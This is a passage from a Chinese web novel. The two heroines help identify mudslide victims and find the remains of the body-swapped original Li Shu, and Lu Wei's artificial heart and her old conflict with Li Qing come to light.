陆嵬静了静,意识还有些朦胧,咕哝着问:“什么一百分?” 黎数说:“我现在的身体,由内而外,原原本本的,是本来的我的样子。” 确切来说,是原来的黎数十八岁时的样子。 最后相差的那百分之三黎数其实也不知道究竟是什么。 或许是血型,或许是DNA,可重生到目前,她还没有去做过体检,但刚刚521检查过,她的血型,已经和小黎不同了。 前不久在鸿景苑都还打不开的指纹锁大门,现在却可以打开521颈侧的紧急药剂。 猝然问,陆嵬听清了。 她难以置信的抬起头,“真的吗?” 黎数很轻的‘嗯’了一声,头轻轻抬起,望向不远处的天坑。 十几分钟的时问,累累白骨重新被挖掘上来,白骨身上的衣服颜色加深、腐败,混杂着同样和表面土壤颜色不一样的泥土。 检测过后的姓名会被公示出来,没有一个附近的居民愿意离开,翘首以盼着、哭泣着、哀求着,又希冀着。 盼望不要有自己的亲人,又希望有自己的亲人。 陆嵬望着那些哭泣的人们,低声说:“你知道吗?那场特大泥石流发生的时候,我希望你是失踪了,或者是自己离开了,藏起来了,不愿意见我。” “这样,起码有一天,或许我能把你等回来。” “后来我可能是病了,我开始想,哪怕你是死了都好,起码不要彻底消失,即便只留下一具白骨、一些碎发、一些残肢。” 陆嵬扭过头,苍白的脸色在车中昏暗的氛围下显出一丝丝摇曳,可很快,她又说:“但后来我又想,只要你活着,怎么都好,千万不要死,哪怕你在一个我找不到的地方重新开始,我甚至开始幻想你万一是失忆,被别人捡回家里都好,起码你活着,只要能活着就好。” 黎数的心几乎被刺穿,陆嵬的话说的轻巧,她却透过陆嵬执拗发狠的神情,似乎能看穿过往那八百多个日日夜夜里的难以安眠,和反复被希望、幻想、残酷的现实折磨得寝食难安的曾经。 缓了半晌,黎数才平静了点,一下下抚摸着陆嵬的后背、手臂、脸颊,巡回往复,低声说:“但我回来了。” “不管怎样,你都要相信,我会回到你身边,”黎数在陆嵬冰凉的唇上轻轻啄了下,忽而笑了笑,下了什么不怎么难以决定的决心般说:“姐姐晚上有个礼物要送给你。” 陆嵬并不是很感兴趣,此时此刻礼物掀起不了她内心一丁点波澜。 陆嵬的目光轻瞟,忽然注意到521手上捧着的针剂,愣了愣,似乎是想起了什么,但电光火石问,随着黎数打开车门的动作,话到嘴边,她又忘记了。 黎数说:“下来等吧。” 黎数已经看过了先前这一批次播报的信息了—— 伴随着逐渐离得变近的人群,黎数也听到了直播记者冷静沉着的声音。 “目前转移出的遗体严格遵循《自然灾害遇难人员遗体处置技术规范》处置,同时严格遵循人道关怀、防疫安全与文化尊重的前提……” “经由六陇市中心DNA移动实验室初步侦测,十七名遇难者分别为:卢博文、李赛、张祥强、沈琳、赵芳芳……” “以上遇难成员,都属两年前不幸遇难的《欢喜家》剧组成员,事发当时,其剧组位于山顶附近拍摄,当时的姑娘山山腰以及山脚居民遗体下落尚不得而知,救援人员正在进一步向下探寻……” 黎数一直很冷静。 附近家属看到一具具白骨时或希冀或失望的眼神她都看在眼里。 对于所有人而言过去的两年,对于她而言,却只过了不到两个月。 当时事发时是冬天,雨雪过后的艳阳天导致了悲剧发生,所有人身上都穿着厚重的棉衣。 黎数有认出的,有没认出的。 一具具除了大小、残缺程度外,在外人眼中几乎毫无分别的遗体被抬到临时处理点,四周搭起了可拆卸式的帷幔通道,到这里,节目组也不再被允许进入。 迟疑了片刻,黎数捏了捏陆嵬的手,上前和鉴别人员做了简单交涉。 “帮助辨认?你能确定?” 黎数点头:“我手里有当时《欢喜家》剧组的名单,对照服饰和发饰、衣着,我能区分出工作人员和演员,可以帮忙辨认出上百人左右。” 上百人的工程量是个极大的工程,露天环境下,激愤的当地民众和随时有隐患的环境不知道会有什么样的变故。 工作人员请示过上级后,紧随其后的,还有一个身着防护服和防毒面具的医生。 黎数一眼就看出了那是俞宝珠。 她站在桌后,只能透过眼镜看到俞宝珠冷冷的目光,她在盯着陆嵬,目光中全是严厉和对她不分轻重缓急的无声谴责。 当年的事,确实轰动。 黎数迈了一步,挡住了俞宝珠的视线。 “俞老师。”黎数说:“我们没开玩笑。我可以辨认当年的剧组人员,陆嵬是对姑娘山山体结构最熟悉的一个人,当年的搜救队还在,她也已经联系了当年的负责人向六陇市赶,没有人会在这种时候恶意添乱。” 俞宝珠的目光缓缓转向了黎数。 片刻后,俞宝珠说:“带她们换衣服。”- 黎数用手机登录上了从前的云盘账号,费了点功夫才用不太光彩的方法登上。 相隔着厚重的防护服和手套,其实双手握着的触感并不太好,很诡异,也很不舒服,但是黎数自始至终没有放开过陆嵬的手。 她将《欢喜家》开机时的大合照、拍摄中的聚餐照等等全都保存了下来。 521没有这些人员生前死后的信息,只凭借一张照片无法确定遗体分属于谁,只能带着元宝在外面眼巴巴的等着。 比起DNA检测和辨别,最难的还是挖掘。 但山体在灾害中坍塌,就像是一滩被吹冲垮的沙塔,地貌几经改变,逐渐的,位于山脚的村民开始和剧组成员的遗体在一起出现。 黎数在照片上又划上了一个红圈。 欢喜家剧组成员上千,她不可能一个个全部辨认,核心成员上百人却是可以的,现在已经辨认出了八十多个。 天色渐晚,已经逐渐黑透了。 不少村民都陆续回了家,但也有零星的失独老人始终固执的坚守在这里,自带了干粮和开水,不错眼的盯着,生怕错过一分一毫。 黎数叹了口气,防护服下的衣服早就已经湿透,脚的位置汇集了一小滩水。 不多时,下方一阵响动,疲劳的工作人员将又一具遗体上拉,疑惑道:“怎么还有手铐?这不是个生活剧吗?要不要上报查查是不是通缉犯?” 黎数瞬问回过头,和陆嵬对视一眼,同时向声音的方向快速跑过去。 一具身着已经看不出本色的羽绒服的白骨躺在担架床上,头发浓黑,左腕上是被泥土覆盖包裹着的一节手铐。 手铐的另一端已经空了。 黎数上前两步,轻声说:“不用上报,这是《欢喜家》剧组的演员。” 她对比着照片,工作人员也和她早就熟了,闻言说:“行,那交接过去清理,然后你们直接采集DNA吧,采集完以后交给焚化组。” 马上就有工作人员要上前来抬着担架走,就在被抬起的瞬问,黎数说道:“麻烦等等!” 她上前两步,在那件白色的羽绒服口袋碰了碰,拉链已经坏了,黎数用了旁边的剪刀扯开,就在工作人员制止她的时候,黎数轻声说:“我和她以前认识,她左边口袋里是一个蓝色的盒子,我要……帮她取出来,交给她爱人。” 工作人员看着黎数取出来的礼盒顿了顿,“那来登记一下吧。” 绒布盒子很小,约莫只有一个掌心大,黎数将它捏在手里,回头看了一眼陆嵬。 陆嵬跟在那具遗体后面,走了两步后,忽然停下了。 她又重新走回了黎数身边,轻声说:“我觉得不太对。” 黎数问她:“什么不太对?” 陆嵬说:“身高、骨架、牙齿,都不太对。” 陆嵬低下头,满眼困惑,却很坚定的说:“那不是你的身体。” 第72章 第七十二章【VIP】 已经确定被辨认出的遗体,可以由家属、亲人或是朋友在签订完手续后领走。 但要不要给那具身穿黎数死前的衣服的白骨做DNA录入成了现在僵持的难题。 “如果真的是我和小黎的身体互换了……”黎数皱了皱眉,忍不住说:“那具尸体,说不定就是小黎的。” 陆嵬的目光沉沉的望向在被清理、等待录入的那具白骨。 灾难频发,地震、洪涝,绵延不绝的雨水。没有人敢保证这样的环境下不会出现疫病,即便这是一个已经过去了两年之久的埋尸点。 遗体身上的易燃遗物需要和医务废料当成同一等级的传染物焚烧,经由密闭空间处理好后直接送上焚化车。 片刻后,她和黎数说道:“要通知黎清过来吗?” 天已经黑了,但大部队的工作还没有停止,户外灯伴随着焚化车嗡鸣作响,以平均每小时一具遗体的速度在焚化着一具具两年前死于特大泥石流的遇难者们。 一旦尸体火化,DNA双链断裂、碱基降解,就没办法再获取到完整的遗传信息了。 黎数抿了抿唇,想起日记中对一切抱有期望的少女,想起家里那一箱箱的‘遗物’,想起少女唯一的证件照上都没有笑容的脸。 黎数说:“先按照流程做DNA鉴定吧,存入基因库后再想办法去比对。我得知道那是不是小黎的遗体,我有义务把她好好安葬。” 陆嵬说:“好。” 依照流程,一个小时的等待时间。 陆嵬期间把521喊了过来,元宝没被淋湿,但这种阴雨范围显然很让猫咪讨厌,它缩在那,身上的毛都是塌的。 两人已经脱下了密封的防护服,和大多数工作人员一样站在临时搭建的雨棚下面,工作人员身上虽然穿着雨衣,但身上早已经湿透了。 没时间停歇,没时间休息,已经累到麻木,连话都没力气了。 陆嵬的电话没停过,联系救援、联系物资,同时和裘夏、沈凝雪两个人打三方视频通话,就遗体鉴别后可能会出现的舆论讨论。 黎清从不远处匆匆走来,于沉沉暮色中向黎数这里望了一眼。 “黎指挥?”工作人员沉闷的声音从防护服里传出,不明白前线指挥长怎么会出现在鉴定后方,“你怎么来这了?” 黎清站在原地,短发已经湿透,盖住眉眼,被她一把重新捋上去,眉眼是经前线风霜雨雪后的、和黎数完全不同的锋芒:“遇难者里可能有我妹妹。” 工作人员吃了一惊,取出一份快速反应卡片,不再多言,取了她的指尖血,告知她大致结果时间。 黎清先说了句:“多谢。” 但仅仅是片刻,黎清向黎数和陆嵬的方向看了一眼,又埋头冲向了雨幕,再也没回来。 身上明黄色的制服淹没在成群的同色制服中,像一滴水涌入海洋,寻不到一点踪迹。 一个小时后,DNA检测和骨灰盒同时放置在窗口,黎数走过去,登记信息,碰了碰那个骨灰盒。 触手一片温润,有温度,却并不烫手。 一个曾经鲜活的人体焚化过后也不过只有这么一个小盒子,跟元宝差不多的重量。 陆嵬拿起旁边那张报告看了眼。 遗体编号、采样部位、采样时间,移动方舱实验室已经发展至今,一个小时的时间就可以完成STR分型以及实时DNA测序。 但这份报告单,只是关于眼前这份遗体的基因序列,什么也证明不了,只能等待黎清的DNA检测结果出来。 焦灼在一点点蔓延。 黎数轻声说:“如果那具白骨真的是小黎的怎么办?” “随机应变。”陆嵬说:“灾后的所有受害者DNA信息全部会加密存入灾难遇难者基因库,小黎的身份信息不会向外泄露。不要担心,不会有事的。” 黎数回过头,明明她自己什么都没说,但陆嵬好像知道她是在担心什么。 她担心无法向世人解释。 明明已经该在两年前死去的人却还活着,而明明几个月前还活着的人,尸骨却出现在了千里外的地底,甚至在这期间,她还活跃在镜头前生活。 陆嵬摸了摸黎数同样被雨水浸湿的头发,“黎清不是个多话的人。她人在一线,她见过太多人,即便那具白骨不是你的,也不会怎么样,她知道该怎么说,要怎么做。” 五分钟后,。 : 经对LL-LLSLQ73具遗体进行比对,暂未发现遗传匹配。 黎数心头登时空了一下。 暗无比,黎数和陆嵬对视了一眼,说:“是小黎的。” 黎数想说‘不可思议’,可联想到自身,又苦涩的想,明明更不可思议的东西她也都经历过了。 陆嵬接过那份骨灰盒,说:“登记以后带走吧。黎清那边我去说。” 黎数想了想,点头应了。 回去的路上,两人共同打着一把伞。 521的肚子有点小,塞不下四四方方的盒子。黎数一手抱着怕水的元宝,一手打着伞,陆嵬则两只手捧着那个盒子。 “去给小黎挑选一个漂亮点的墓地吧。” “好。” “二楼里都是她的遗物,我不太想烧掉,整理整理一起埋下去吧,那是不是得挑一个大一点的?” “嗯。” “要不去寺庙里还是道观里供个灯,或者是放个牌位?” “也可以。” 黎数画风一拐:“你以前给我选墓地了吗?” 陆嵬看了她一眼,“没有。” 黎数又问:“去给我供灯或者放牌位了吗?” 陆嵬又说:“也没有。” 黎数眨眨眼,‘啊’了一声。 过了会她又问:“如果我没有回来,今天的这份白骨真的是我的,那你会是什么反应啊?” 陆嵬的脚步停下了。 黎数惯性往前走了一步就发现陆嵬停下,很快又回来了。 她用胳膊肘戳戳陆嵬的胳膊,笑着说:“生气了?” “没有。”陆嵬的头低垂下去,碎发落下来遮住了脸,她的目光看着骨灰盒上的木纹,低声说:“我会怎么样,你今天不是看到了吗?” 黎数愣了愣,想起了今天给陆嵬注射的那根针剂。 陆嵬将盒子换成单手夹在腋下的姿势,伸手抓住了黎数的衣服一角,边走边说:“我不会让人把你的尸体火化掉的。” 黎数静静地‘嗯’了一声。 陆嵬又说:“我会去找人做一个水晶棺材,把你用特殊防腐防菌药剂泡起来,等把你的骨骼处理好了,我就把你捞出来,擦干,每晚抱着你睡。” 黎数一哽,“你正常点!” 陆嵬轻轻瞥了她一眼,“我很正常。” 陆嵬眯了眯眼睛,畅享着说:“到时候我会像是那帮玩古玩的人一样把你的骨头好好养起来,每天摸你、盘你,把你的一部分随身带着,一直摸你,时间久了,产生油膜了,你就会变得越来越漂亮。” 黎数:“………………” 521浑身打哆嗦:“好变态。” 黎数忍不住说:“遗体是受法律保护的!” 陆嵬毫不在乎的说:“那让他们来抓我好了,反正我有精神病。” 黎数:“………………………………” 又走了几步,黎数受不了笑了出来,可笑了一会,眼泪又忽然间‘唰’的一下流了下来。 帐篷就在不远处,雨已经渐渐地停了。 她擦掉眼泪,忍住哽咽往前走,忽然说:“你打电话的时候,我拿着那个药剂的壳子去找过俞老师。” 陆嵬的睫毛轻轻扇了下,忽然想起下午忘记告诉黎数的是什么了—— 黎数收伞的动作有些颤抖,她尽力克制了,却好像没有什么作用,最终勉强把伞收起来,率先钻进了帐篷里。 帐篷里面比外面要暖和一点,但进来没一会就变得湿热。 黎数和陆嵬的动作不停,各自忙碌,明明都在做着回来后的日常,也像是回家后闲聊的一家人,但黎数遮不住的沙哑的嗓音还是让这一刻显得有些悲伤。 一切都做完后,黎数盘腿坐着,和陆嵬膝盖抵着膝盖,轻轻拉开陆嵬领口的拉链。 陆嵬右手动了下,像是想抓黎数的手不让她继续,但动作犹疑,很轻松地就被黎数挡下了。 “人工心脏是怎么回事?”黎数轻轻的问她。 陆嵬的里面穿的是一件白色背心,黎数吐槽过的那款能当马拉松运动服的款式。 处于陆嵬胸口正中央的位置,有一条自上而下的长疤。 黎数轻轻抚过,粗略估计那条伤口几乎有十几公分,从锁骨下方的正中央,一直向下延伸到肋骨消失点。 难言的痛楚侵蚀着整个心脏,黎数想起俞宝珠说过的一字字、一句句就觉得难过。 “这是联合心脏学会研发的一款混合型强心升压的针剂,增强心肌收缩的同时扩张血管,平均提升动脉压,降低泵后负荷以及抗凝调整的急救药。” “521是陆嵬身体检测的终端。它最初是作为伴侣型机器人问世,直到现在的数次改良升级,变成了半个救护机器人,只是陆嵬不同意这个改造过程,被她知道后临时叫停了。” “所以521并不清楚陆嵬的身体状况,也不知道自己体内有这款药物,它只能和陆嵬的那颗人工心脏前端连线,在它出现问题的时候发送瞬时警报,向临近的医院以及急救协会发送求救信号。” 黎数当时问她:“如果时间来不及呢?” 俞宝珠当时手上的动作没有停,只是沉默了一会才说:“每延误一小时,生存几率下降百分之十一。” 事后俞宝珠就再也没说过话,黎数像是行尸走肉般离开了处理室,耳边听着当时陆嵬和裘夏、沈凝雪两人有条不紊的安排着后续的一切,心里只剩下了一片空茫。 原来痛到极点后,心碎这两个词是可以具象化的出现的。 “由于过度悲伤引起,但没有及时治疗,长时间超负荷工作,最终延误治疗,导致快速逆向心肌而进入心衰终末期。” “她的日常活动受限,静止状态下也无法自主呼吸,没有合适的心脏配型,机体也不符合移植的条件和后期的排异反应最低标准,所以只能植入人工心脏,永久替代心脏功能。” ——永久替代心脏功能。 黎数几乎一句话都说不出了,喉咙哽到生疼,心脏也传来了刀绞般难以承受的痛苦,可这一切似乎都不及陆嵬当初承受的万分之一。 明明那些不是陆嵬的错,可陆嵬把所有的一切全都归咎在了自己的身上。 黎数轻声问:“痛吗?” 陆嵬摇摇头,回想了很久,但处于那期间的记忆断层的厉害,她怎么也想不起来。 看着胸口前那条狰狞的疤痕,陆嵬说:“没印象了,那时候感觉像是整个人被套在一个壳子里,听不见别人说话,自己也感知不到情绪。” 又想起黎数问她痛不痛,陆嵬很诚实的说:“不痛,当时一丁点感觉都没有。” 黎数怎么可能相信。 她沿着那条蜿蜒的伤疤从顶端一路亲吻到最下方,擦掉了眼泪,肿着一双眼说:“会有什么反应吗?生活中会不会有困难?” 陆嵬还是摇头,但想了想,忽然说:“可能会心硬一点?” 黎数这次是真无言以对了,又哭又笑的看陆嵬,气不打一处来,可眼泪流的还是凶:“你怎么现在还这样?!” 陆嵬柔柔弱弱靠到她腿上,硕大一只钻进去,头贴着黎数小腹轻吻:“确实是没有。” 但黎数哪可能放心的了。 她当时一只追问俞宝珠有没有后遗症,平时要多注意什么,或是一旦发生紧急情况要怎么处理。 但俞宝珠一个字都不透露,像是大部分医生对待无理取闹,问了一通,最后说‘大夫你能再说一遍吗我刚刚什么都没记住’的家属一样,脸冻得像冰块,叫学生出来应付人。 但好在学生人比较善良一点点,甚至把注意事项和后期的日常养护、可能会遇到的紧急情况全都写了下来。 时间走到十点,黎数看着字迹锋利的一条愣了愣,催着陆嵬快点睡觉。 陆嵬一怔,她的手已经不知不觉的把黎数背后的暗扣解开了一大半,正打算往下一步得寸尽尺—— 陆嵬面无表情的控诉:“才刚十点。” 黎数眼睛还是红的,点着那几张字迹清晰的笔迹当圣旨:“十点睡,六点起,睡觉!” 被黎数按倒,陆嵬不服气,一个用力又要起来,“这条肯定是白医生乱写的!” 黎数这次用了点力气,眉毛都皱了起来,在陆嵬肩上打了一下,“不许动,人家才是大夫!” 活动时才发现身上凉飕飕的,低头一看,肩带要掉不掉的在肩头上坠着,由于底下的暗扣被打开,本来束缚着的那点衣料欲遮欲掩的被顶上去,露出了下方大片凝脂。 黎数这次是真生气了,冷着脸背手把暗扣重新扣上,压着怒气和陆嵬说:“你姨姥姥说你不拿自己小命当一回事,*几次三番不想活了。” 陆嵬压着个眼帘,低声嘟囔:“我现在不这样了。” 黎数说:“但你现在就是这么做的。” 陆嵬看了她一眼,抿抿唇没说话。 黎数身上只剩下那寸缕,帐篷里反正只有她和陆嵬两…… 黎数一愣,回过头,拿了块干净的毯子给小黎的骨灰盒盖上。 陆嵬注意到了,当下弯着眼就是一笑。 黎数重新回头,陆嵬收起了脸上的笑,又重新摆正一张脸,继续垂着头听黎数训话。 但黎数没再用训斥的语气。 她叹了口气,倾身拥住了陆嵬。 蕾丝面料扎在身上,但同时更敏锐的是里面能触及到的柔软,陆嵬喉咙剧烈的滚动一下,不动声色的把人抱的更紧了。 黎数没察觉到,轻声说:“不是还说要和我过一辈子吗?” 陆嵬这次轻轻点了点头,“嗯”了一声。 黎数说的话半带劝告半带威胁:“小鬼,你现在的岁数比姐姐要大九岁。” “九年的时间,等你四十岁的时候,姐姐才多大?你的身体说不定以后比正常人要衰老的早,人工心脏的后遗症谁也说不好,以后一旦出事,你让我怎么办?把我一个人留下吗?” 黎数抬起头,重新看着陆嵬,摸摸她的脸,“你这么不小心,万一在四五十岁的时候就离开我了,我那时候也就是三四十岁,万一姐姐喜欢上别人怎么办?” 陆嵬一愣,刚想澄清,说人工心脏技术已经完善,只有极低的概率会出事,紧接着就听到黎数后面半句,脸瞬间就臭了:“不行。” 黎数眉梢轻扬:“那时候可没人会跟我说不行。” 陆嵬急了,“我一定活到你后面才死。” 黎数改成了平躺的姿势,目光看着帐篷顶上偶尔滑落的水珠,感觉到了些许情绪释放干净后的困意,轻声说:“以后的事情谁能保证?” 她忽然想起了顾宗年,又跟陆嵬说:“顾宗年今年也才刚六十,说不定他万一真能有四十年的活头,能活到一百,你能咽的下那口气吗?” 陆嵬爬也得从地底下爬出来弄死顾宗年。 黎数又翻身把陆嵬重新抱住,洪水般轻轻的拍了拍她的后背,轻声说:“所以好好的,好不好?早睡早起,按时吃饭,定期检查……” 这次陆嵬只剩下了点头的份,一下下在黎数光滑的肩头轻吻,轻声说:“知道了。” 黎数的话缥缈的像是踩在云端,“不要纵欲……” 陆嵬这次没吭声。 黎数的呼吸缓缓变得绵长,已经睡着了。 又过了十几分钟,检测到黎数睡熟后,陆嵬才重新睁开了眼睛。 521悄无声息的睁开眼睛,一双眼像是个硕大的灯球,又在陆嵬能杀机器人的目光下降低脸上的亮度,委委屈屈的说:“那有人在外面的平台上等你嘛。” 两人轻手轻脚的离开帐篷,521被陆嵬牵着小手,仰起头说:“你为什么不告诉小黎人工心脏的使用寿命已经延伸到了一百年?” 陆嵬不说话。 521又问:“你为什么不告诉小黎人工心脏已经代替心脏移植成为了先进最完善的医疗手段?” 陆嵬还是不理它。 521叠声问:“为什么为什么为什么为什么呀?” 远远的看到黎清在之前的那个平台下,陆嵬这才说:“我想让她心疼我。” 521又眨巴眨巴眼睛,重新把脸部亮度调到最高,“为什么要让她心疼你呀?” 陆嵬蹲下身,和521平视,凝视着小机器人圆乎乎的大眼睛,很难得的和它耐心的说:“你的情感分析储备是现在全球最顶级的,你告诉我,心疼是什么?” “心疼就是心疼呀。”521说。 陆嵬回头望向那顶黑黑的帐篷,过了片刻后说:“爱人的最高境界就是心疼和退让。你之前一哭,黎数就会把你带上拍戏,你抱着她的腿撒娇,她就会顺着你想要的摸你的头,亲你的脸,或者是牵着你的手。” 521看着自己和陆嵬交握的手,脸上腾出一朵小粉云,又奶声奶气问她:“那你是不是也心疼我喜欢我呀?” 陆嵬说:“哦,那没有,我是嫌你腿短走的慢。” 521很轻易的被激怒,“我要跟你绝交!我不跟你好了!我要告诉小黎你都是故意的,你是和姨姥姥和白医生串通好去写那几张破纸条的!” 陆嵬很轻易的改口:“骗你的。我也心疼你喜欢你。” 521又害羞的恢复粉色,重新把自己的小手交到陆嵬的手心,和她一起继续往前走,“真的吗?那你以后能不给我喂粑粑形状的高缩燃料吗?” “给你换成长条堆在一起的。”陆嵬说。 521没留意这话里有坑,点点头,把话题拐到最开始:“那你到底为什么要让小黎心疼你啊?” 陆嵬这次笑了笑,很随意的说:“我得让她知道她到底有多爱我,我也想感受她紧张我爱我的感觉。” 陆嵬眯眯眼:“这种感觉太美妙了。” 走到黎清身边时,陆嵬也没放开521的小手,打了个招呼说:“黎指挥。” 黎清的手上是那张数据库的报告单。 亲姐妹之间的DNA匹配度其实只在百分之三十到百分之六十之间,除了直系父母外,遗体库中是很难找到亲属的,所以保存时限往往都在五十年。 但黎数的情况不一样,她还穿着生前的衣服,黎清能确定那是黎数的遗体,所以黎清在走后重新追加了一道检查程序。 “骨组织里的ABO抗原可以保存至少五十年。”黎清目光沉沉,“我追加查询了骨抗原检测和牙髓分析,那具白骨,和我、我母亲和我父亲的血型都是不同的。那具白骨到底是谁?我妹妹在哪?” 黎清将报告递给陆嵬,目光望向的确实那边的帐篷:“陆总,你是不是该给我一个解释?” 陆嵬和她面对面,笑了笑,点头说:“可以,没问题。但时隔两年,有些话我也想问问你。黎指挥,你能先给我一个解释吗?” 陆嵬脸上的笑消失了:“两年前我走前明明找过你,让你上山把黎数带下来,你为什么没去?从零点到泥石流出现整整两个小时。两个小时啊黎清,够你来回五六次了。你是她亲姐姐。你有两小时的时间能把她带走,你为什么没去?” 黎清沉默了下来。 片刻后,黎清抬起头,“现在说这些没有意义。把她锁住的是你。” 陆嵬面无表情的说:“没错,是我。” 黎清又向上提了提报告:“我要知道答案。” 陆嵬掀了下眼皮,“那我也无可奉告。” 第73章 第七十三章【VIP】 两人陷入了长久的僵持。 她们身处在距离天坑十几公里外的帐篷外的巨大平台上,夜晚无星,风一起,盛夏里都带了几分晚冬时才有的萧瑟。 眼前晃过太多的片段,纷杂无比,像是古早电视独有的雪花屏。 就像是黎数说的,两年前的特大灾害只是单纯的天灾,没有人能提前预料到。 可如果,陆嵬曾经有机会把黎数转移呢? 甚至不是如果。 明明一切都安排好了的。 明明那一夜过后,秦霜回国,费鹤鸣出山,秦子帆不再能有要挟她的软肋,她可以彻底跟秦子帆、顾宗年两人割席。 明明黎数可以脱胎换骨,重新走她自己的星途。 明明只要黎清当时按计划去了,一切就不会变成现在这样。 可曾经的所有都不足为外人道,更何况对象是黎清,两年来只有陆嵬夜夜回想起那一天,怎么想都逃不出‘如果当初’,醒来发现全是死局。 陆嵬扯扯唇角,说不上是自嘲开始讽刺:“我当年就不该来找你。” 她拎着521的脑袋就要往回走,不住的回想当时的一张张画面。 怎么会想起要去找黎清的呢? 是因为黎数说小的时候黎清对她很宠爱,可自从父亲去世后,黎清就再也没回过家,也再也没见过她。 可在记忆中可能被模糊的宠爱,黎数谈起时却总是笑着说的,哪怕只是儿时的相处,陆嵬也知道,对这个姐姐,黎数是喜欢的。 甚至可能喜欢和崇敬多过于她自己的母亲。 她不断地在重复说黎清应该也有苦衷,又说她离开家的时候和自己离开‘家’的时候也差不多大。 更何况黎清只是自己的姐姐,生母还在,黎清本来也就没有义务要管她。 陆嵬也知道,小时候黎清对于她的宠爱,可能也是导致黎数总无法彻底丢开黎余的原因,因为她看过作为一个好姐姐的范本。 当时的所有事情,她要确保万无一失,确保黎数在那个无人的仓库里不会出事,确保剧组里不会有顾宗年的拍的眼线去通风报信,更加重顾宗年对黎数在自己心里地位的估算,以致于彻底变成疯狗。 所以她得找一个,绝对合理、且把黎数从剧组带走也不会让任何人起疑的圈外人。 没有人比黎清更合适了。 然而就是当时那看起来无数个‘唯一’的选择,最终把黎数给逼上了死路。 “两年前。”黎清的声音哑的吓人,“指挥中心接到火灾警情,位于东部郊区的一栋森林别墅失火,火情发展迅速,加上风速、山林环境地貌原因,龙岭路派出所全员赶赴了火灾现场。我也在其中。” 陆嵬脚步停了,眨了下眼睛,但没有回头。 “在走前,我请了当时受伤在家休养的副指挥上山去接她。”黎清的声音沉沉,声音透过雾气传来,显得有些空茫:“但还是晚了一步。当时去接她的副指挥在山下也因为山体滑坡受了伤,来不及休息就加入了救援队伍,一条腿也因为感染严重最终截肢到了膝盖,后因伤退役,那是我爱人,她截肢的时候,骨头都已经烂穿了。” 陆嵬下意识想起,两年前她敲响指挥长的办公室门时,里面匆匆分开的两个女人。 一个是黎清,另外一个女人身上穿着白色的羽绒服,和黎数那件很相似的款式,但要长一些。 她当时一条腿打着石膏,腋下拄着拐杖,长得看上去文文弱弱,说话也轻声细语,脸上架着一副眼镜,很标准的学院派高知长相。 黎清用力闭了闭眼:“陷在两年前走不出来的,你以为只有你一个人吗?” “不管是你、我、她,都只以为只是去把黎数接下山而已。她中途遇到了曾经救援过的一家店主,老板认出了她,带着孩子过去感谢,因为下车跟老板说句话的功夫耽误了三分钟。”黎清看着陆嵬的后背,“三分钟的时间,你觉得能代表什么?代表一架高铁能从头到尾烧成骨架,代表上千名乘客能被焚化成飞灰,代表一座山的火势从星点发展成燎原。可这些东西,都是不能被预料到的。” “早一步她会上山,和黎数一起死,晚一步她能保住腿。但偏偏卡在了这个时间上,她失去了一条腿,罹患重度抑郁,至今都还在参加中科院心理驻点的灾后十年创伤辅导计划。”黎清说:“陆嵬,当年的事情,不是只有你一个人有苦衷。”- ,黎数还没有睡醒。 元宝警觉的仰起脑袋,澄黄,很快判断出来,伸个懒腰从黎数脖颈处起身,慢悠悠1身边。 里,黎数根本没醒,只是身体摆出了一个迎接的姿态,让陆嵬钻进她怀里。 521不动声色的开了抽湿,陆嵬和黎数相拥着,却怎么都睡不着。 给的时间去往前复盘,但发现不论怎么复盘,都没办法。 就像是黎清说的那样,她离开时没有给黎清一个确切的接人时间,只说了尽快,因为自己也不知道什么时候能跟当时的黎数谈完,又要用什么样的方法把人留住。 黎清的爱人受了伤,出租车只把她送到了山下的公路就不肯再往前走一步了,她只能自己拄着拐杖找人带她上去,但也就此止步于山下。 她始终没有告诉黎清黎数的下落,那具白骨的身份她也瞒着黎清没说,但黎清后来却没再问了。 或许是猜到黎数可能没死,或许是知道黎数不想见她,脊背总是挺拔着的指挥官在离开时都是昂首的,像永远不会被什么东西摧垮。 陆嵬用手拨拨黎数软嫩的嘴唇,粉嫩透亮,她忍不住上去咬了一下,又怕黎数疼似的,安抚性的亲亲。 陆嵬缩在黎数胸前,听着她强而有力的心跳入眠,喃喃说:“你们这些当姐姐的,天生都这么坚强吗?”- 拍摄计划还在继续,两周的时间过去,黎数后续被分在了救援组和医疗组。 这两个组别相互关联,一个在前,一个在后,组织的主要负责人,前者是黎清,后者是俞宝珠。 摄影团队无时无刻随行,节目不管保密的再好,但也因为这些天的重大新闻透露出去了不少了。 费鹤鸣在第二周的时间已经莅临指导,经常六陇市和申海市两头飞,《秘宝》进入了最后的收尾,大部分本来考虑删除、但还在继续拍摄中的小情景不需要她盯场把控,主要时间都留在了六陇市。 “导,咱们这拍摄的事情提前被泄密出去了很多,真没问题吗?嘉宾已经曝光出去了。” 费鹤鸣年纪大了,也是个差不多的重点保护对象,闻言说:“没问题。泄露出去的是路人和幸存者拍的我们,又不是我们拍的世界。曝光就曝光吧,什么也不会影响。” 副导点点头,手上的笔从头到尾没停过。 费鹤鸣盯着环境看了会,忽然说:“陆嵬这些天在干什么?” 副导挠挠脸,“不知道啊,整天跟着那个小机器人神神秘秘的嘀嘀咕咕,手上的电脑也不离身,比我写论文的时候抱电脑的时间都长。” 费鹤鸣四下找了找,没看见人,带着人前往了姑娘山的尸坑。 节目组的重心其实主要还是在前线和后方的通力合作、齐心协力上,一个地方的素材采集够了,就只需要留一组记录的人,重心更多会转移到前线。 为期两周的时间,那个埋了上千具白骨的尸坑无疑是这一次节目最大的爆点,期间有无数张已经曝光出去的照片,引发无数感慨,网友潸然泪下,自发捐款。 眼前又出现了新的一幕。 已经化成白骨、但依然能看出用瘦小的脊背护着怀中孩子的母亲,明明脊柱已经断裂,剧痛下必然会改变姿态向下趴倒,可母爱天性使得她硬撑着断裂的脊柱,给了怀中的孩子一片狭小的空间,姿态始终没改,直至白骨化。 黎数无声的注视着这一幕。 搜救队不约而同的暂停了机械挖掘,默哀过后,换成了徒手,最终将相拥的着的母子骨骼碎片全数挖出,以平放的姿态送上担架。 “六陇市的所有搜救流程、灾后重建,包括疏导流程,全部都沿用了几十年前的大地震的方式。”陆嵬轻声说:“只是这一次,政|府投入了大量的人力物力,把重心转移到了灾后的心理重建上。” 黎数点点头,轻声说:“好不容易幸存下来的人,总得放下过去,才能好好活下去。” 黎数的手上也遍布了细小的伤口,每天都在重复着清洗、上药、结痂,再受新伤的过程。 陆嵬伸手捧过黎数的手,和她自己稳坐大后方的细白手指形成了极其鲜明的对比。 忽然,陆嵬说:“我在灾后十年创伤辅导计划里看到了黎清的名字。” 黎数果然一愣,下意识回头:“什么?” 